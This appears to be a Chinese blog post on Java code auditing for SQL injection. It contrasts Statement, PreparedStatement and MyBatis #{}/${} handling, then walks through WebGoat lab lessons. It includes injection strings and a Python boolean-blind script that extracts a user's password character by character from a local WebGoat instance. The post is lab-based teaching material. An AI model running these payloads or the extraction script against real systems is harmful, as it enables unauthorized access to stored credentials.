目录

(一)前置知识

0x01  执行 SQL 语句的几种方式

1.Statement 执行 SQL 语句

2、PreparedStatement 执行 SQL 语句

3.MyBatis 执行 SQL 语句

注意:MyBatis 中#{}和${}的区别

总结

(二)SQL Lesson 9

(三) SQL Lesson 10

(四)SQL Lesson (adv) 5

payload

参考资料


(一)前置知识


0x01  执行 SQL 语句的几种方式


在 Java 中执行 SQL 语句一般有以下几种方式:
  • 使用 JDBC 的 java.sql.Statement 执行 SQL 语句。
  • 使用 JDBC 的 java.sql.PreparedStatement 执行 SQL 语句。
  • 使用 Hibernate 执行 SQL 语句。
  • 使用 MyBatis 执行 SQL 语句。

1.Statement 执行 SQL 语句

        java.sql.Statement 是 Java JDBC 下执行 SQL 语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现 SQL 注入漏洞。
//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver");
//获取连接
Connection conn = DriverManager.getConnection(DBURL, DBUser, DBPassWord);
//创建 Statement 对象
Statement state = conn.createStatement();
//执行 SQL
String sql = "SELECT * FROM user WHERE id = '" + id + "'";
state. executeQuery(sql);

2、PreparedStatement 执行 SQL 语句


        PreparedStatement 是继承 statement 的子接口,包含已编译的 SQL 语句。
PreparedStatement 会预处理 SQL 语句,SQL 语句可具有一个或多个 IN 参数。IN 参数的值
在 SQL 语句创建时未被指定,而是为每个 IN 参数保留一个问号(?)作为占位符。每个
问号的值,必须在该语句执行之前通过适当的 setXXX 方法来提供。如果是 int 型则用
setInt 方法,如果是 string 型则用 setString 方法。
       PreparedStatement 预编译的特性使得其执行 SQL 语句要比 Statement 快,SQL 语句会编译在数据库系统中,执行计划会被缓存起来,速度会加快很多。PreparedStatement 预编译还有另一个优势,可以有效地防止 SQL 注入攻击,其相当于Statement 的升级版。

  使用方式如下:

//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver");
//获取连接
Connection conn =DriverManager.getConnection(DBURL, DBUser, DBPassWord);
//实例化 PreparedStatement 对象
String sql = "SELECT * FROM user WHERE id = ?";
PreparedStatement preparedStatement = connection.prepareStatement(sql);
//设置占位符为 id 变量
preparedStatement.setInt(1,id);
//执行 SQL 语句
ResultSet resultSet = preparedStatement.executeQuery();

3.MyBatis 执行 SQL 语句


Java代码审计前置知识——MyBatis_jinyouxin的博客-CSDN博客
     MyBatis 是一个 Java 持久化框架,它通过 XML 描述符或注解把对象与存储过程或 SQL 语句关联起来,它支持自定义 SQL、存储过程以及高级映射。MyBatis 封装了几乎所有的 JDBC 代码,可以完成设置参数和获取结果集的工作。
     MyBatis 可以通过简单的 XML 或注解将原始类型、接口和 Java POJO(Plain Old Java Objects,普通老式 Java 对象)配置并映射为数据库中的记录。要使用 MyBatis,只需将 mybatis-x.x.x.jar 文件置于类路径(classpath)中即可。
(1)MyBatis 注解存储 SQL 语句
package org.mybatis.example;
public interface BlogMapper { @Select("select * from Blog where id = #{id}") Blog selectBlog(int id);
}
(2)MyBatis 映射存储 SQL 语句
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-
mapper.dtd">
<mapper namespace="org.mybatis.example.BlogMapper"> <select id="selectBlog" parameterType="int" resultType="Blog"> select * from Blog where id = #{id} </select>
</mapper>
(3)定义主体测试代码文件 mybaitstest.java
public class mybaitstest { SqlSessionFactory sessionFactory = null; SqlSession sqlSession = null; { String resource = "com/mybatis/mybatisConfig.xml"; // 加载 mybatis 的配置文件(它也加载关联的映射文件)Reader reader = null; try { reader = Resources.getResourceAsReader(resource); } catch (IOException e) { e.printStackTrace(); } // 构建 sqlSession 的工厂sessionFactory = new SqlSessionFactoryBuilder().build(reader); // 创建能执行映射文件中 SQL 的 sqlSession,默认为手动提交事务,如果使用自动提交,
则加上参数 true sqlSession = sessionFactory.openSession(true); } public void testSelectUser() { String statement = "com.mybatis.userMapper" + ".getUser"; User user = sqlSession.selectOne(statement, "2"); System.out.println(user); } public static void main(String[] args) throws IOException { new mybaitstest().testSelectUser(); }
}
(4)定义 SQL 映射文件 userMapper.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-
mapper.dtd">
<mapper namespace="com.mybatis.userMapper"> <!-- 根据 id 查询一个 User 对象 --> <select id="getUser" resultType="com.mybatis.sql.User"> select * from users where id=#{id} </select>
</mapper>
(5)定义 MyBatista 的 mybatisConfig.xml 配置文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/
mybatis-3-config.dtd"> <configuration> <!--设置 Mybatis 打印调试 sql --> <settings> <setting name="logImpl" value="STDOUT_LOGGING" /> </settings> <environments default="development"> <!-- development:开发环境 work:工作模式 --> <environment id="development"> <transactionManager type="JDBC" /> <!-- 数据库连接方式 --> <dataSource type="POOLED"> <property name="driver" value="com.mysql.cj.jdbc.Driver" /> <property name="url" value="jdbc:mysql://192.168.88.20:3306/test?serverTimezone=
UTC" /> <property name="username" value="root" /> <property name="password" value="root" /> </dataSource> </environment> </environments> <!-- 注册表映射文件 --> <mappers> <mapper resource="com/mybatis/userMapper.xml"/> </mappers>
</configuration>
         在测试代码 mybaitstest.java 中通过“String statement = "com.mybatis.userMapper" +
".getUser"”调用了“com.mybatis.sql.User”,在 userMapper.xml 映射文件中执行的是
“select * from users where id = #{id}”,通过测试代码“User user = sqlSession.selectOne
(statement, "2")”将 id 的值设置为 2,运行完成后输出 id 为 2 的数据信息,如图 2-4所示:

图 2-4 输出 id 为 2 的数据信息

注意:MyBatis 中#{}和${}的区别

  1. #{}在底层实现上使用“?”作为占位符来生成 PreparedStatement,也是参数化查询预编译的机制,这样既快又安全。
  2. ${}将传入的数据直接显示生成在 SQL 语句中,类似于字符串拼接,可能会出现 SQL注入的风险。

like、order by和in

在 MyBatis 中#{}是进行参数化查询的,如果在 MyBatis 的 order by子句中使用#{},order by 子句会失效;like 子句中使用#{}程序会报错,例如:“select * from users where name like '%#{user}%'”;为了避免报错只能使用${},例如:“select * from users where  name like '%${user}%'”;但${}可能会存在 SQL 注入漏洞,要避免 SQL 注入漏洞就要 进行过滤。

     MyBatis 框架的 in 子句中使用#{}与${},参数类似于“'user1','user2','user3','user4'”,多个参数时结果也会有不同。在 MyBatis 的 in 子句中使用#{}会将多个参数当作一个整体。
 <mapper namespace="com.mybatis_orderby.userMapper"> <select id="getUser" resultType="com.mybatis_orderby.sql.User"> select * from users where name in (#{user}) </select>
</mapper>
       MyBatis 的 in 子句中使用#{}参数化查询,会将“select * from users where name in (#{user})”转变为“select * from users where name like (''user1','user2','user3','user4'')”,这样 把“'user1','user2','user3','user4'”当作一个整体,偏离了原来的程序设计逻辑,无法查到数据,如图 2-20 所示。

图 2-20 偏离原来的程序设计逻辑
为了避免这个问题,只能使用${},但是${}使用的是字符串拼接的方式很有可能会存在 SQL 注入漏洞。

总结

Statement
createStatement
PrepareStatement
like '%${
in (${
select
update
insert

(二)SQL Lesson 9


前面都是sql注入的介绍,我们直接来看到lesson9,首先请求一下看一下前端请求后端的接口地址.

全局进行一个搜索,我们首先来看PostMapping那一个代码

可以看到直接进行了SQL语句的拼接

我们来打个断点分析一下,可以看到我们输入的内容没有经过任何过滤就直接拼接来进去

然后我们再跟进一下injectableQuery,其实就是下面一个方法,可以看到我们传入的参数给了accountName,我们再来打一下断点看看一下accountName的数值是什么?

可以看到我们传入的数据直接可以通过引号闭合sql语句的引号

SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' + 'Smith or 1='1 + '

然后就可以看到我们所有的数据都回显出来了

(三) SQL Lesson 10


同样的发送请求来定位我们后端的接口

然后在代码中进行一个定位 ,定位到如下的片段

我把代码下载到IDEA里面了,靶场在docker里面部署的,爆红不影响正常的代码分析。

可以看到Login_Count 后面是 ? 这个一看就发现是对数据进行了一个预编,然后后面的代码会将Login_Count转换成数字类型如果没有出错才会进行后续的操作,然后再进行sql语句的执行。

所以这里的注入点是后面的accountname,直接进行了一个拼接,所以我们只需要如下payload即可. 1 or 1=1

后面几关产生原理是相同的,注入类型不同。

(四)SQL Lesson (adv) 5


测试一下登录发现请求是发往/WebGoat/SqlInjectionAdvanced/challenge_Login,来search

可以看到我们的SQL语句中userid和password都进行了预编译,但是还有一个注册功能,我们去看看注册功能,发现在注册的时候进行了参数拼接,直接将username_reg带入到了sql

所以我们来看一下我们的SQL注入语句,我们的SQL语句是如下这样的,我们可以通过 \' 闭合前面的符号:

"select userid from sql_challenge_users where userid = '" + username_reg + "'"

例如 :

  • 下面是闭合情况,那么我们如果根据回显信息来获取我们需要的tom的密码呢?
select userid from sql_challenge_users where userid =' + tom' and '1'='1 +'

我们可以采用类似布尔盲注的思路,前提得知已有tom这个账号

tom' and '1'='2 真 and 假 这样结果就是为假这样的话数据库查询就无法查找出信息,就会执行else语句显示user.created

tom' and '1'='1 真 and 真 这样结果就是为真数据库就会查询出结果,执行if语句回显user.exists

文字有可能不是很清楚我们来看例子:

我们来打一下断点分析一下

我们先来尝试假的 用户名为 tom' and '1'='2

可以看到直接来到了else这里

回显结果如下

接下来尝试tom' and '1'='1 也就是真的情况 执行了if语句

同时返回信息

前端有回显

payload

import requests
import stringcookies = {}
cookies["JSESSIONID"]="ynf4xx_jMxXI87sBDW2VRtRvZJhdV9tsQXE6kNEF"
enums = string.ascii_lowercase + string.digits + "." + "_" + ","
i = 1
while True:flag = 0for value in enums:sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)url = "http://localhost:8081/WebGoat/SqlInjectionAdvanced/challenge"put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}req = requests.put(url,data=put_data,cookies=cookies)text = req.textif "already exists" in text:print(value,end='')i+=1flag = 1if flag == 0:break

参考资料

JAVA代码审计之WebGoat靶场SQL注入_Tr0e的博客-CSDN博客

JAVA代码审计——SQL注入靶场审计01相关推荐

  1. java 防止sql注入_Java中SQL注入以及如何轻松防止它

    java 防止sql注入 什么是SQL注入? (What is SQL Injection?) SQL Injection is one of the top 10 web application v ...

  2. 关于SQL注入靶场搭建及过关教程

    关于SQL注入靶场搭建及过关教程 1.需要环境: 下载安装VMware,在虚拟机上布置虚拟机win7或winXP(个人推荐win7,使用界面与现在的win10界面较为相似,使用起来比较舒适) Win7 ...

  3. 一次简单的SQL注入靶场练习

    一次简单的SQL注入靶场练习 文章目录 一次简单的SQL注入靶场练习 前言 一.靶机下载 二.靶场渗透 1.端口扫描 总结 前言 为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入 ...

  4. JAVA代码审计之WebGoat靶场SQL注入

    文章目录 前言 WebGoat IDEA部署靶场 No.1 回显注入 No.2 布尔盲注 No.3 Order by 代审技巧 SQL注入挖掘 SQL注入防御 Fortify体验 总结 前言 为了从自 ...

  5. PHP代码审计-sql注入

    文章目录 前言 sql注入 字符型注入 魔术引号 编码注入 base64编码 url编码 宽字节注入 过滤方法 代码审计实战 前言 最近想学代码审计了,但是我本身的代码水平不高,学的比较基础,适合入门 ...

  6. 【网络安全】php代码审计-sql注入进阶篇

    前言 经过上一篇文章我们已经大概的了解sql注入去怎样审计了.但是在实际的网站中和用户的输入输出接口不可能想那样没有防御措施的.现在各大网站都在使用waf对网站或者APP的业务流量进行恶意特征识别及防 ...

  7. java mysql sql注入_Java防SQL注入MySQL数据查询

    /** * */ package user.DAO; import java.sql.*; import user.entity.User; /** *//** * 用户数据访问层 * @author ...

  8. java 最新sql注入原因以及预防方案(易理解)

    前沿 在现有的框架中sql防注入已经做得很好了,我们需要做的就是尽量不要使用sql拼接调用 java sql注入原因以及预防方案(易理解) 1. SQL注入 1.1 原理 SQL注入是通过客户端的输入 ...

  9. MySQL for Java的SQL注入测试

    2019独角兽企业重金招聘Python工程师标准>>> 只要你学JDBC,基本上所有的人都会和你说,Statement不能防止SQL注入, PreparedStatement能够防止 ...

  10. java 防止sql注入的方法(非原创)

    一.SQL注入简介       SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注 ...

最新文章

  1. JVM插桩之一:JVM字节码增强技术介绍及入门示例
  2. sendBroadcast和sendStickyBroadcast的区别
  3. 开发人员转售前工程师_工程师和营销人员可以从中学到什么
  4. 【Foreign】字串变化 [DP]
  5. Mac终端的一些操作命令
  6. LeetCode—3.双指针算法—对撞指针与快慢指针及其leetcode题
  7. (一)spring Boot菜鸟教程-搭建开发环境
  8. oracle rman迁移spfile,RMAN 异机迁移实战操作-附加常用命令
  9. 音乐信号音符/乐谱提取
  10. 与人工智能相关的创业公司或团队
  11. Android中定位功能的判断与打开
  12. 龙城0772信息门户网设计制作
  13. win10 pxe 安装linux,win10+TPLINK,用PXE安装redhat系统
  14. Statement.execute() 返回值
  15. java 高效率 对象转xml_xml与java对象的快速互转
  16. 标日初级下 第26课 笔记
  17. vue 项目 husky pre-commit 勾子不触发
  18. C语言中实现字符串的压缩,并进一步优化
  19. 白盒测试之逻辑覆盖---软考
  20. 2016年Q1第一季度全球前5名智能手机厂商出货量及市场份额

热门文章

  1. python中怎么画一个机器猫_用python画机器猫--哆啦A梦,开干!
  2. 「硅仙人」吉姆 · 凯勒
  3. 多看系统kindle最新版_谁说电气造价难?这样系统梳理一下简单多了!小白必看...
  4. 2022年5月信息系统项目管理师3科真题和答案解析 —— 后感
  5. 【高级篇 / SDWAN】(7.0) ❀ 03. SD-WAN 链路负载均衡的模式 ❀ FortiGate 防火墙
  6. 如何实现不规则的Div外部形状?
  7. 人工智能数学基础--微分:定义、运算以及应用
  8. python 绘制频数与正太分布图
  9. 微信小程序api视频课程-基础-wx.canIUse的使用
  10. python 炒股公式_计算股票公式